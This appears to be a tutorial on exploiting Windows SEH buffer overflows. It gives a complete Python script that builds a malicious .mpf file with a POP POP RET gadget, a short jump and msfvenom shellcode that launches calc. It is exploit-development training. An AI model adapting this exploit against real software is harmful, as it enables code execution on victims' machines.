Tutorial

Windows SEH Overflow Exploitation

Exploit Structured Exception Handler (SEH) overflows on Windows, bypassing SafeSEH protections to achieve code execution.

2 min read advanced

Prerequisites

  • Understanding of Windows exception handling
  • Experience with basic stack overflows
  • Familiarity with Immunity Debugger and mona.py
  • Knowledge of x86 assembly

Part 2 of 3 in Windows Exploitation

Table of Contents

Structured Exception Handling (SEH) is Windows’ mechanism for handling exceptions. When the stack is overflowed far enough to corrupt the SEH chain, we can hijack exception handling to gain code execution.

Understanding SEH

SEH Chain Structure

Exception Registration Record:
+0x00: Pointer to next SEH record (nSEH)
+0x04: Pointer to exception handler (SEH)

When an exception occurs:

  1. Windows walks the SEH chain
  2. Each handler is called until one handles the exception
  3. By corrupting the chain, we control execution

Exploitation Strategy

  1. Overflow buffer to corrupt SEH chain
  2. Trigger an exception
  3. Windows calls our controlled handler address
  4. Use POP POP RET gadget to redirect to nSEH
  5. nSEH contains a short jump to shellcode

Initial Analysis

Create Exploit Skeleton

For file-based exploits:

file = "exploit.mpf"

buffer = b"A"*4700

f = open(file, "wb")
f.write(buffer)
f.close()
print("[+] File saved as " + file)

Trigger the Crash

Open the malicious file in the target application. In Immunity Debugger:

  • View -> SEH chain

The chain should show corrupted entries.

Finding the Offset

Generate Pattern

!mona pattern_create 4700

Locate SEH Offset

After crashing with the pattern, check SEH chain:

SE Handler: 46326846
!mona pattern_offset 46326846
Pattern Fh2F (0x46326846) found at position 4116

Calculate nSEH Offset

The SEH structure is:

  • nSEH (4 bytes)
  • SEH (4 bytes)

So nSEH starts at: 4116 - 4 = 4112

Verify Control

buffer = "A"*4112
buffer += "BBBB"  # nSEH
buffer += "CCCC"  # SEH
buffer += "D"*400

SEH Chain:

Address    SE handler
0012F91C   43434343
42424242   *** CORRUPT ENTRY ***

Pass exception to program (Shift+F9):

EIP: 43434343

Finding SEH Gadget

We need a POP POP RET sequence from a module without SafeSEH:

!mona seh

Choose an address without ASLR/SafeSEH:

0x77ec9cb7 : pop edx # pop eax # ret | kernel32.dll
ASLR: False, SafeSEH: False

Crafting the Exploit

The Jump Obstacle

Examine the stack near our SEH record:

0012F91C   42424242  BBBB  <- nSEH
0012F920   43434343  CCCC  <- SEH (POP POP RET)
0012F924   44444444  DDDD
...
0012F934   00000000  ....  <- Null bytes (obstacle)
0012F938   44444444  DDDD

There are null bytes after our buffer. We need to jump over them.

Short Jump in nSEH

Use a short jump instruction to skip over obstacles:

\xeb\x22  = JMP SHORT +0x22 (34 bytes forward)

Pad to 4 bytes:

\xeb\x22\x90\x90  = JMP +34; NOP; NOP

Test Payload

buffer = "A"*4112
buffer += "\xeb\x22\x90\x90"  # nSEH: JMP +34 bytes
buffer += "\xb7\x9c\xec\x77"  # SEH: POP POP RET
buffer += "\x90"*50           # NOP sled
buffer += "\xcc"              # INT3
buffer += "D"*350

Identifying Bad Characters

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
# ... all bytes except \x00
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

buffer = "A"*4112
buffer += "\xeb\x22\x90\x90"
buffer += "\xb7\x9c\xec\x77"
buffer += "\x90"*50
buffer += "\xcc"
buffer += badchars
buffer += "D"*200

Examine memory after the INT3. Look for truncation or corruption.

Bad characters found: \x00\x0a\x0d\x1a

Generating Shellcode

msfvenom -p windows/exec cmd=calc.exe \
         -b "\x00\x0a\x0d\x1a" \
         -f c

Complete Exploit

file = "exploit.mpf"

shellcode = (
b"\xbd\xaa\xf4\xa0\x85\xd9\xcb\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
b"\x31\x83\xea\xfc\x31\x6a\x0f\x03\x6a\xa5\x16\x55\x79\x51\x54"
b"\x96\x82\xa1\x39\x1e\x67\x90\x79\x44\xe3\x82\x49\x0e\xa1\x2e"
b"\x21\x42\x52\xa5\x47\x4b\x55\x0e\xed\xad\x58\x8f\x5e\x8d\xfb"
b"\x13\x9d\xc2\xdb\x2a\x6e\x17\x1d\x6b\x93\xda\x4f\x24\xdf\x49"
b"\x60\x41\x95\x51\x0b\x19\x3b\xd2\xe8\xe9\x3a\xf3\xbe\x62\x65"
b"\xd3\x41\xa7\x1d\x5a\x5a\xa4\x18\x14\xd1\x1e\xd6\xa7\x33\x6f"
b"\x17\x0b\x7a\x40\xea\x55\xba\x66\x15\x20\xb2\x95\xa8\x33\x01"
b"\xe4\x76\xb1\x92\x4e\xfc\x61\x7f\x6f\xd1\xf4\xf4\x63\x9e\x73"
b"\x52\x67\x21\x57\xe8\x93\xaa\x56\x3f\x12\xe8\x7c\x9b\x7f\xaa"
b"\x1d\xba\x25\x1d\x21\xdc\x86\xc2\x87\x96\x2a\x16\xba\xf4\x20"
b"\xe9\x48\x83\x06\xe9\x52\x8c\x36\x82\x63\x07\xd9\xd5\x7b\xc2"
b"\x9e\x2a\x36\x4f\xb6\xa2\x9f\x05\x8b\xae\x1f\xf0\xcf\xd6\xa3"
b"\xf1\xaf\x2c\xbb\x73\xaa\x69\x7b\x6f\xc6\xe2\xee\x8f\x75\x02"
b"\x3b\xec\x18\x90\xa7\xdd\xbf\x10\x4d\x22"
)

buffer = b"A"*4112
buffer += b"\xeb\x22\x90\x90"  # nSEH: JMP +34
buffer += b"\xb7\x9c\xec\x77"  # SEH: POP POP RET
buffer += b"\x90"*50           # NOP sled
buffer += shellcode
buffer += b"D"*(350-len(shellcode))

f = open(file, "wb")
f.write(buffer)
f.close()
print("[+] File saved as " + file)

Execution Flow

1. Buffer overflow corrupts SEH chain

2. Access violation triggers exception

3. Windows calls handler at 0x77ec9cb7 (POP POP RET)
   - POP EDX    ; pops value
   - POP EAX    ; pops value
   - RET        ; returns to nSEH location

4. nSEH contains JMP +34
   - Jumps over obstacle bytes

5. Lands in NOP sled

6. Shellcode executes

Buffer Layout

|    Junk    | nSEH  |  SEH   | NOPs | Shellcode | Pad |
   4112 B     4 B      4 B     50B    ~220B       Rest
              |        |
              |        +-> POP POP RET
              |
              +-> JMP +34 (jumps over SEH and obstacle)

SafeSEH Bypass

Modern systems have SafeSEH. To bypass:

  1. Use modules compiled without SafeSEH
  2. Check with mona:
    !mona modules
  3. Look for SafeSEH: False

Troubleshooting

Exception Not Triggering

Add code that causes an exception:

# After overflow, add many bytes to cause access violation
buffer += "X"*10000

Handler Not Called

Verify SEH chain is properly corrupted. The first handler in the chain must point to your gadget.

Jump Distance

Calculate exact jump distance by examining the stack layout. The obstacle bytes may vary.